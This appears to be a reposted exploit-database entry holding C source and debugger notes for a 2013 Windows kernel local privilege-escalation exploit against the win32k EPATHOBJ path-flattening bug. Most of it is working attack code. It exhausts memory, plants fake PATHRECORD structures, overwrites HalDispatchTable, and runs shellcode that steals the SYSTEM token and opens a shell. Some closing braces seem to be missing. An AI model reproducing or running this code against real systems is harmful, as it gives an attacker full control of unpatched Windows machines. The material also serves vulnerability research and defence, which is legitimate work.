发布 2013-06-03 漏洞条目

Microsoft Windows NT/2000/2003/2008/XP/Vista/7/8 – ‘EPATHOBJ’ Local Ring

Exploit Source

#ifndef WIN32_NO_STATUS

# define WIN32_NO_STATUS

#endif

#include <stdio.h>

#include <stdarg.h>

#include <stddef.h>

#include <windows.h>

#include <assert.h>

#ifdef WIN32_NO_STATUS

# undef WIN32_NO_STATUS

#endif

#include <ntstatus.h>

#pragma comment(lib, "gdi32")

#pragma comment(lib, "kernel32")

#pragma comment(lib, "user32")

#pragma comment(lib, "shell32")

#pragma comment(linker, "/SECTION:.text,ERW")

#ifndef PAGE_SIZE

# define PAGE_SIZE 0x1000

#endif

#define MAX_POLYPOINTS (8192 * 3)

#define MAX_REGIONS 8192

#define CYCLE_TIMEOUT 10000

// --------------------------------------------------

// Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit

// ----------------------------------------- taviso () cmpxchg8b com -----

// INTRODUCTION

// There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the

// PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the

// next list pointer. The bug is really nice, but exploitation when

// allocations start failing is tricky.

// ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ *this,

// PATHRECORD **pppr,

// ULONG *pcMax,

// ULONG cNeeded)

// .text:BFA122CA mov esi, [ebp+ppr]

// .text:BFA122CD mov eax, [esi+PATHRECORD.pprPrev]

// .text:BFA122D0 push edi

// .text:BFA122D1 mov edi, [ebp+pprNew]

// .text:BFA122D4 mov [edi+PATHRECORD.pprPrev], eax

// .text:BFA122D7 lea eax, [edi+PATHRECORD.count]

// .text:BFA122DA xor edx, edx

// .text:BFA122DC mov [eax], edx

// .text:BFA122DE mov ecx, [esi+PATHRECORD.flags]

// .text:BFA122E1 and ecx, not (PD_BEZIER)

// .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx

// .text:BFA122E7 mov [ebp+pprNewCountPtr], eax

// .text:BFA122EA cmp [edi+PATHRECORD.pprPrev], edx

// .text:BFA122ED jnz short loc_BFA122F7

// .text:BFA122EF mov ecx, [ebx+EPATHOBJ.ppath]

// .text:BFA122F2 mov [ecx+PATHOBJ.pprfirst], edi

// It turns out this mostly works because newpathrec() is backed by newpathalloc()

// which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.

// ; PVOID __stdcall PALLOCMEM(size_t size, int tag)

// .text:BF9160D7 xor esi, esi

// .text:BF9160DE push esi

// .text:BF9160DF push esi

// .text:BF9160E0 push [ebp+tag]

// .text:BF9160E3 push [ebp+size]

// .text:BF9160E6 call _HeavyAllocPool () 16 ; HeavyAllocPool(x,x,x,x)

// .text:BF9160EB mov esi, eax

// .text:BF9160ED test esi, esi

// .text:BF9160EF jz short loc_BF9160FF

// .text:BF9160F1 push [ebp+size] ; size_t

// .text:BF9160F4 push 0 ; int

// .text:BF9160F6 push esi ; void *

// .text:BF9160F7 call _memset

// However, the PATHALLOC allocator includes it's own freelist implementation, and

// if that codepath can satisfy a request the memory isn't zeroed and returned

// directly to the caller. This effectively means that we can add our own objects

// to the PATHRECORD chain.

// We can force this behaviour under memory pressure relatively easily, I just

// spam HRGN objects until they start failing. This isn't super reliable, but it's

// good enough for testing.

// // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on

// // failure. Seriously, do some damn QA Microsoft, wtf.

// for (Size = 1 << 26; Size; Size >>= 1) {

// while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))

// ;

// }

// Adding user controlled blocks to the freelist is a little trickier, but I've

// found that flattening large lists of bezier curves added with PolyDraw() can

// accomplish this reliably. The code to do this is something along the lines of:

// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {

// Points[PointNum].x = 0x41414141 >> 4;

// Points[PointNum].y = 0x41414141 >> 4;

// PointTypes[PointNum] = PT_BEZIERTO;

// }

// for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {

// BeginPath(Device);

// PolyDraw(Device, Points, PointTypes, PointNum);

// EndPath(Device);

// FlattenPath(Device);

// EndPath(Device);

// }

// We can verify this is working by putting a breakpoint after newpathrec, and

// verifying the buffer is filled with recognisable values when it returns:

// kd> u win32k!EPATHOBJ::pprFlattenRec+1E

// win32k!EPATHOBJ::pprFlattenRec+0x1e:

// 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69)

// 95c922bd 83f801 cmp eax,1

// 95c922c0 7407 je win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9)

// 95c922c2 33c0 xor eax,eax

// 95c922c4 e944020000 jmp win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d)

// 95c922c9 56 push esi

// 95c922ca 8b7508 mov esi,dword ptr [ebp+8]

// 95c922cd 8b4604 mov eax,dword ptr [esi+4]

// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc"

// kd> g

// fe938fac 41414140

// The breakpoint dumps the first dword of the returned buffer, which matches the

// bezier points set with PolyDraw(). So convincing pprFlattenRec() to move

// EPATHOBJ->records->head->next->next into userspace is no problem, and we can

// easily break the list traversal in bFlattten():

// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)

// {

// EPATHOBJ *pathobj; // esi () 1

// PATHOBJ *ppath; // eax () 1

// BOOL result; // eax () 2

// PATHRECORD *ppr; // eax () 3

// pathobj = this;

// ppath = this->ppath;

// if ( ppath )

// {

// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )

// {

// if ( ppr->flags & PD_BEZIER )

// {

// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);

// if ( !ppr )

// goto LABEL_2;

// }

// pathobj->fl &= 0xFFFFFFFE;

// result = 1;

// }

// else

// {

// LABEL_2:

// result = 0;

// }

// return result;

// }

// All we have to do is allocate our own PATHRECORD structure, and then spam

// PolyDraw() with POINTFIX structures containing co-ordinates that are actually

// pointers shifted right by 4 (for this reason the structure must be aligned so

// the bits shifted out are all zero).

// We can see this in action by putting a breakpoint in bFlatten when ppr has

// moved into userspace:

// kd> u win32k!EPATHOBJ::bFlatten

// win32k!EPATHOBJ::bFlatten:

// 95c92517 8bff mov edi,edi

// 95c92519 56 push esi

// 95c9251a 8bf1 mov esi,ecx

// 95c9251c 8b4608 mov eax,dword ptr [esi+8]

// 95c9251f 85c0 test eax,eax

// 95c92521 7504 jne win32k!EPATHOBJ::bFlatten+0x10 (95c92527)

// 95c92523 33c0 xor eax,eax

// 95c92525 5e pop esi

// kd> u

// win32k!EPATHOBJ::bFlatten+0xf:

// 95c92526 c3 ret

// 95c92527 8b4014 mov eax,dword ptr [eax+14h]

// 95c9252a eb14 jmp win32k!EPATHOBJ::bFlatten+0x29 (95c92540)

// 95c9252c f6400810 test byte ptr [eax+8],10h

// 95c92530 740c je win32k!EPATHOBJ::bFlatten+0x27 (95c9253e)

// 95c92532 50 push eax

// 95c92533 8bce mov ecx,esi

// 95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a)

// So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS

// flags (defined in winddi.h). Let's break if it's in userspace:

// kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''"

// kd> g

// 95c9252c f6400810 test byte ptr [eax+8],10h

// kd> r

// eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d

// eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0 nv up ei pl nz na po nc

// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202

// win32k!EPATHOBJ::bFlatten+0x15:

// 95c9252c f6400810 test byte ptr [eax+8],10h ds:0023:41414148=??

// The question is how to turn that into code execution? It's obviously trivial to

// call prFlattenRec with our userspace PATHRECORD..we can do that by setting

// PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure

// poses a problem.

// Let me demonstrate calling it with my own PATHRECORD:

// // Create our PATHRECORD in userspace we will get added to the EPATHOBJ

// // pathrecord chain.

// PathRecord = VirtualAlloc(NULL,

// sizeof(PATHRECORD),

// MEM_COMMIT | MEM_RESERVE,

// PAGE_EXECUTE_READWRITE);

// // Initialise with recognisable debugging values.

// FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);

// PathRecord->next = (PVOID)(0x41414141);

// PathRecord->prev = (PVOID)(0x42424242);

// // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from

// // EPATHOBJ::bFlatten(), do that here.

// PathRecord->flags = PD_BEZIERS;

// // Generate a large number of Bezier Curves made up of pointers to our

// // PATHRECORD object.

// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {

// Points[PointNum].x = (ULONG)(PathRecord) >> 4;

// Points[PointNum].y = (ULONG)(PathRecord) >> 4;

// PointTypes[PointNum] = PT_BEZIERTO;

// }

// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'"

// kd> g

// win32k!EPATHOBJ::pprFlattenRec+0x28:

// 95c922c2 33c0 xor eax,eax

// kd> dd ebp+8 L1

// a3633be0 00130000

// The ppr object is in userspace! If we peek at it:

// kd> dd poi(ebp+8)

// 00130000 41414141 42424242 00000010 cccccccc

// 00130010 00000000 00000000 00000000 00000000

// 00130020 00000000 00000000 00000000 00000000

// 00130030 00000000 00000000 00000000 00000000

// 00130040 00000000 00000000 00000000 00000000

// 00130050 00000000 00000000 00000000 00000000

// 00130060 00000000 00000000 00000000 00000000

// 00130070 00000000 00000000 00000000 00000000

// There's the next and prev pointer.

// kd> kvn

// # ChildEBP RetAddr Args to Child

// 00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo])

// 01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4])

// 02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo])

// 03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34)

// The question is how to get PATHALLOC() to succeed under memory pressure so we

// can make this exploitable? I'm quite proud of this list cycle trick,

// here's how to turn it into an arbitrary write.

// First, we create a watchdog thread that will patch the list atomically

// when we're ready. This is needed because we can't exploit the bug while

// HeavyAllocPool is failing, because of the early exit in pprFlattenRec:

// .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)

// .text:BFA122BD cmp eax, 1 ; Check for failure

// .text:BFA122C0 jz short continue

// .text:BFA122C2 xor eax, eax ; Exit early

// .text:BFA122C4 jmp early_exit

// So we create a list node like this:

// PathRecord->Next = PathRecord;

// PathRecord->Flags = 0;

// Then EPATHOBJ::bFlatten() spins forever doing nothing:

// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)

// {

// /* ... */

// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )

// {

// if ( ppr->flags & PD_BEZIER )

// {

// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);

// }

// /* ... */

// }

// While it's spinning, we clean up in another thread, then patch the thread (we

// can do this, because it's now in userspace) to trigger the exploit. The first

// block of pprFlattenRec does something like this:

// if ( pprNew->pprPrev )

// pprNew->pprPrev->pprnext = pprNew;

// Let's make that write to 0xCCCCCCCC.

// DWORD WINAPI WatchdogThread(LPVOID Parameter)

// {

// // This routine waits for a mutex object to timeout, then patches the

// // compromised linked list to point to an exploit. We need to do this.

// LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p",

// GetCurrentThreadId(),

// Mutex);

// if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {

// // It looks like the main thread is stuck in a call to FlattenPath(),

// // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean

// // up, and then patch the list to trigger our exploit.

// while (NumRegion--)

// DeleteObject(Regions[NumRegion]);

// LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);

// InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);

// } else {

// LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");

// }

// return 0;

// }

// PathRecord->next = PathRecord;

// PathRecord->prev = (PVOID)(0x42424242);

// PathRecord->flags = 0;

// ExploitRecord.next = NULL;

// ExploitRecord.prev = 0xCCCCCCCC;

// ExploitRecord.flags = PD_BEZIERS;

// Here's the output on Windows 8:

// kd> g

// *******************************************************************************

// * *

// * Bugcheck Analysis *

// * *

// *******************************************************************************

// Use !analyze -v to get detailed debugging information.

// BugCheck 50, {cccccccc, 1, 8f18972e, 2}

// *** WARNING: Unable to verify checksum for ComplexPath.exe

// *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe

// Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )

// Followup: MachineOwner

// ---------

// nt!RtlpBreakWithStatusInstruction:

// 810f46f4 cc int 3

// kd> kv

// ChildEBP RetAddr Args to Child

// a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])

// a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])

// a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])

// a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6

// a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19

// a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868

// a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])

// a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)

// a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])

// a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])

// a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])

// a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)

// 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])

// 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])

// WARNING: Stack unwind information not available. Following frames may be wrong.

// 0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f

// 0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade

// 0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])

// 0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])

// 0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])

// kd> .trap a03aba2c

// ErrCode = 00000002

// eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8

// eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc

// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286

// win32k!EPATHOBJ::pprFlattenRec+0x82:

// 8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=????????

// kd> vertarget

// Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible

// Product: WinNt, suite: TerminalServer SingleUserTS

// Built by: 9200.16581.x86fre.win8_gdr.130410-1505

// Machine Name:

// Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48

// Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)

// System Uptime: 0 days 0:02:30.432

// kd> .bugcheck

// Bugcheck code 00000050

// Arguments cccccccc 00000001 8f18972e 00000002

// EXPLOITATION

// We're somewhat limited with what we can do, as we don't control what's

// written, it's always a pointer to a PATHRECORD object. We can clobber a

// function pointer, but the problem is making it point somewhere useful.

// The solution is to make the Next pointer a valid sequence of instructions,

// which jumps to our second stage payload. We have to do that in just 4 bytes

// (unless you can find a better call site, let me know if you spot one).

// Thanks to progmboy for coming up with the solution: you reach back up the

// stack and pull a SystemCall parameter out of the stack. It turns out

// NtQueryIntervalProfile matches this requirement perfectly.

// INSTRUCTIONS

// C:\> cl ComplexPath.c

// C:\> ComplexPath

// You might need to run it several times before we get the allocation we need,

// it won't crash if it doesn't work, so you can keep trying. I'm not sure how

// to improve that.

// CREDIT

// Tavis Ormandy <taviso () cmpxchg8b com>

// progmboy <programmeboy () gmail com>

POINT Points[MAX_POLYPOINTS];

BYTE PointTypes[MAX_POLYPOINTS];

HRGN Regions[MAX_REGIONS];

ULONG NumRegion = 0;

HANDLE Mutex;

DWORD Finished = 0;

// Log levels.

typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;

BOOL LogMessage(LEVEL Level, PCHAR Format, ...);

// Copied from winddi.h from the DDK

#define PD_BEGINSUBPATH 0x00000001

#define PD_ENDSUBPATH 0x00000002

#define PD_RESETSTYLE 0x00000004

#define PD_CLOSEFIGURE 0x00000008

#define PD_BEZIERS 0x00000010

typedef struct _POINTFIX

{

ULONG x;

ULONG y;

} POINTFIX, *PPOINTFIX;

// Approximated from reverse engineering.

typedef struct _PATHRECORD {

struct _PATHRECORD *next;

struct _PATHRECORD *prev;

ULONG flags;

ULONG count;

POINTFIX points[4];

} PATHRECORD, *PPATHRECORD;

PPATHRECORD PathRecord;

PATHRECORD ExploitRecord;

PPATHRECORD ExploitRecordExit;

enum { SystemModuleInformation = 11 };

enum { ProfileTotalIssues = 2 };

typedef struct _RTL_PROCESS_MODULE_INFORMATION {

HANDLE Section;

PVOID MappedBase;

PVOID ImageBase;

ULONG ImageSize;

ULONG Flags;

USHORT LoadOrderIndex;

USHORT InitOrderIndex;

USHORT LoadCount;

USHORT OffsetToFileName;

UCHAR FullPathName[256];

} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES {

ULONG NumberOfModules;

RTL_PROCESS_MODULE_INFORMATION Modules[1];

} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;

FARPROC NtQuerySystemInformation;

FARPROC NtQueryIntervalProfile;

FARPROC PsReferencePrimaryToken;

FARPROC PsLookupProcessByProcessId;

PULONG HalDispatchTable;

ULONG HalQuerySystemInformation;

PULONG TargetPid;

PVOID *PsInitialSystemProcess;

// Search the specified data structure for a member with CurrentValue.

BOOL FindAndReplaceMember(PDWORD Structure,

DWORD CurrentValue,

DWORD NewValue,

DWORD MaxSize)

{

DWORD i, Mask;

// Microsoft QWORD aligns object pointers, then uses the lower three

// bits for quick reference counting.

Mask = ~7;

// Mask out the reference count.

CurrentValue &= Mask;

// Scan the structure for any occurrence of CurrentValue.

for (i = 0; i < MaxSize; i++) {

if ((Structure[i] & Mask) == CurrentValue) {

// And finally, replace it with NewValue.

Structure[i] = NewValue;

return TRUE;

}

// Member not found.

return FALSE;

}

// This routine is injected into nt!HalDispatchTable by EPATHOBJ::pprFlattenRec.

ULONG __stdcall ShellCode(DWORD Arg1, DWORD Arg2, DWORD Arg3, DWORD Arg4)

{

PVOID TargetProcess;

// Record that the exploit completed.

Finished = 1;

// Fix the corrupted HalDispatchTable,

HalDispatchTable[1] = HalQuerySystemInformation;

// Find the EPROCESS structure for the process I want to escalate

if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {

PACCESS_TOKEN SystemToken;

PACCESS_TOKEN TargetToken;

// Find the Token object for my target process, and the SYSTEM process.

TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);

SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);

// Find the token in the target process, and replace with the system token.

FindAndReplaceMember((PDWORD) TargetProcess,

(DWORD) TargetToken,

(DWORD) SystemToken,

0x200);

}

return 0;

}

DWORD WINAPI WatchdogThread(LPVOID Parameter)

{

// Here we wait for the main thread to get stuck inside FlattenPath().

WaitForSingleObject(Mutex, CYCLE_TIMEOUT);

// It looks like we've taken control of the list, and the main thread

// is spinning in EPATHOBJ::bFlatten. We can't continue because

// EPATHOBJ::pprFlattenRec exit's immediately if newpathrec() fails.

// So first, we clean up and make sure it can allocate memory.

while (NumRegion) DeleteObject(Regions[--NumRegion]);

// Now we switch out the Next pointer for our exploit record. As soon

// as this completes, the main thread will stop spinning and continue

// into EPATHOBJ::pprFlattenRec.

InterlockedExchangePointer(&PathRecord->next,

&ExploitRecord);

return 0;

}

// I use this routine to generate a table of acceptable stub addresses. The

// 0x40 offset is the location of the PULONG parameter to

// nt!NtQueryIntervalProfile. Credit to progmboy for coming up with this clever

// trick.

VOID __declspec(naked) HalDispatchRedirect(VOID)

{

__asm inc eax

__asm jmp dword ptr [ebp+0x40]; // 0

__asm inc ecx

__asm jmp dword ptr [ebp+0x40]; // 1

__asm inc edx

__asm jmp dword ptr [ebp+0x40]; // 2

__asm inc ebx

__asm jmp dword ptr [ebp+0x40]; // 3

__asm inc esi

__asm jmp dword ptr [ebp+0x40]; // 4

__asm inc edi

__asm jmp dword ptr [ebp+0x40]; // 5

__asm dec eax

__asm jmp dword ptr [ebp+0x40]; // 6

__asm dec ecx

__asm jmp dword ptr [ebp+0x40]; // 7

__asm dec edx

__asm jmp dword ptr [ebp+0x40]; // 8

__asm dec ebx

__asm jmp dword ptr [ebp+0x40]; // 9

__asm dec esi

__asm jmp dword ptr [ebp+0x40]; // 10

__asm dec edi

__asm jmp dword ptr [ebp+0x40]; // 11

// Mark end of table.

__asm {

_emit 0

}

int main(int argc, char **argv)

{

HANDLE Thread;

HDC Device;

ULONG Size;

ULONG PointNum;

HMODULE KernelHandle;

PULONG DispatchRedirect;

PULONG Interval;

ULONG SavedInterval;

RTL_PROCESS_MODULES ModuleInfo;

LogMessage(L_INFO, "\r--------------------------------------------------\n"

"\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n"

"\r------------------- taviso () cmpxchg8b com, programmeboy () gmail com ---\n"

"\n");

NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile");

NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");

Mutex = CreateMutex(NULL, FALSE, NULL);

DispatchRedirect = (PVOID) HalDispatchRedirect;

Interval = (PULONG) ShellCode;

SavedInterval = Interval[0];

TargetPid = GetCurrentProcessId();

LogMessage(L_INFO, "NtQueryIntervalProfile () %p", NtQueryIntervalProfile);

LogMessage(L_INFO, "NtQuerySystemInformation () %p", NtQuerySystemInformation);

// Lookup the address of system modules.

NtQuerySystemInformation(SystemModuleInformation,

&ModuleInfo,

sizeof ModuleInfo,

NULL);

LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s () %p",

ModuleInfo.Modules[0].FullPathName,

ModuleInfo.Modules[0].ImageBase);

// Lookup some system routines we require.

KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName);

HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;

PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;

PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;

PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;

// Search for a ret instruction to install in the damaged HalDispatchTable.

HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize)

- (ULONG) KernelHandle

+ (ULONG) ModuleInfo.Modules[0].ImageBase;

LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation);

// Create our PATHRECORD in user space we will get added to the EPATHOBJ

// pathrecord chain.

PathRecord = VirtualAlloc(NULL,

sizeof *PathRecord,

MEM_COMMIT | MEM_RESERVE,

PAGE_EXECUTE_READWRITE);

LogMessage(L_INFO, "Allocated userspace PATHRECORD () %p", PathRecord);

// You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from

// EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite

// loop in EPATHOBJ::bFlatten().

PathRecord->flags = 0;

PathRecord->next = PathRecord;

PathRecord->prev = (PPATHRECORD)(0x42424242);

LogMessage(L_INFO, " ->next @ %p", PathRecord->next);

LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev);

LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags);

// Now we need to create a PATHRECORD at an address that is also a valid

// x86 instruction, because the pointer will be interpreted as a function.

// I've created a list of candidates in DispatchRedirect.

LogMessage(L_INFO, "Searching for an available stub address...");

// I need to map at least two pages to guarantee the whole structure is

// available.

while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1),

PAGE_SIZE * 2,

MEM_COMMIT | MEM_RESERVE,

PAGE_EXECUTE_READWRITE)) {

LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x",

*DispatchRedirect & ~(PAGE_SIZE - 1),

GetLastError());

// This page is not available, try the next candidate.

if (!*++DispatchRedirect) {

LogMessage(L_ERROR, "No redirect candidates left, sorry!");

return 1;

}

LogMessage(L_INFO, "Success, ExploitRecordExit () %#0x", *DispatchRedirect);

// This PATHRECORD must terminate the list and recover.

ExploitRecordExit = (PPATHRECORD) *DispatchRedirect;

ExploitRecordExit->next = NULL;

ExploitRecordExit->prev = NULL;

ExploitRecordExit->flags = PD_BEGINSUBPATH;

ExploitRecordExit->count = 0;

LogMessage(L_INFO, " ->next @ %p", ExploitRecordExit->next);

LogMessage(L_INFO, " ->prev @ %p", ExploitRecordExit->prev);

LogMessage(L_INFO, " ->flags @ %u", ExploitRecordExit->flags);

// This is the second stage PATHRECORD, which causes a fresh PATHRECORD

// allocated from newpathrec to nt!HalDispatchTable. The Next pointer will

// be copied over to the new record. Therefore, we get

// nt!HalDispatchTable[1] = &ExploitRecordExit.

// So we make &ExploitRecordExit a valid sequence of instuctions here.

LogMessage(L_INFO, "ExploitRecord () %#0x", &ExploitRecord);

ExploitRecord.next = (PPATHRECORD) *DispatchRedirect;

ExploitRecord.prev = (PPATHRECORD) &HalDispatchTable[1];

ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;

ExploitRecord.count = 4;

LogMessage(L_INFO, " ->next @ %p", ExploitRecord.next);

LogMessage(L_INFO, " ->prev @ %p", ExploitRecord.prev);

LogMessage(L_INFO, " ->flags @ %u", ExploitRecord.flags);

LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);

// Generate a large number of Belier Curves made up of pointers to our

// PATHRECORD object.

for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {

Points[PointNum].x = (ULONG)(PathRecord) >> 4;

Points[PointNum].y = (ULONG)(PathRecord) >> 4;

PointTypes[PointNum] = PT_BEZIERTO;

}

// Switch to a dedicated desktop so we don't spam the visible desktop with

// our Lines (Not required, just stops the screen from redrawing slowly).

SetThreadDesktop(CreateDesktop("DontPanic",

NULL,

GENERIC_ALL,

NULL));

// Get a handle to this Desktop.

Device = GetDC(NULL);

// Take ownership of Mutex

WaitForSingleObject(Mutex, INFINITE);

// Spawn a thread to cleanup

Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);

LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle");

// We need to cause a specific AllocObject() to fail to trigger the

// exploitable condition. To do this, I create a large number of rounded

// rectangular regions until they start failing. I don't think it matters

// what you use to exhaust paged memory, there is probably a better way.

// I don't use the simpler CreateRectRgn() because it leaks a GDI handle on

// failure. Seriously, do some damn QA Microsoft, wtf.

for (Size = 1 << 26; Size; Size >>= 1) {

while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))

NumRegion++;

}

LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);

LogMessage(L_INFO, "Flattening curves...");

for (PointNum = MAX_POLYPOINTS; PointNum && !Finished; PointNum -= 3) {

BeginPath(Device);

PolyDraw(Device, Points, PointTypes, PointNum);

EndPath(Device);

FlattenPath(Device);

// Test if exploitation succeeded.

NtQueryIntervalProfile(ProfileTotalIssues, Interval);

// Repair any damage.

*Interval = SavedInterval;

EndPath(Device);

}

if (Finished) {

LogMessage(L_INFO, "Success, launching shell...", Finished);

ShellExecute(NULL, "open", "cmd", NULL, NULL, SW_SHOW);

LogMessage(L_INFO, "Press any key to exit...");

getchar();

ExitProcess(0);

}

// If we reach here, we didn't trigger the condition. Let the other thread know.

ReleaseMutex(Mutex);

WaitForSingleObject(Thread, INFINITE);

ReleaseDC(NULL, Device);

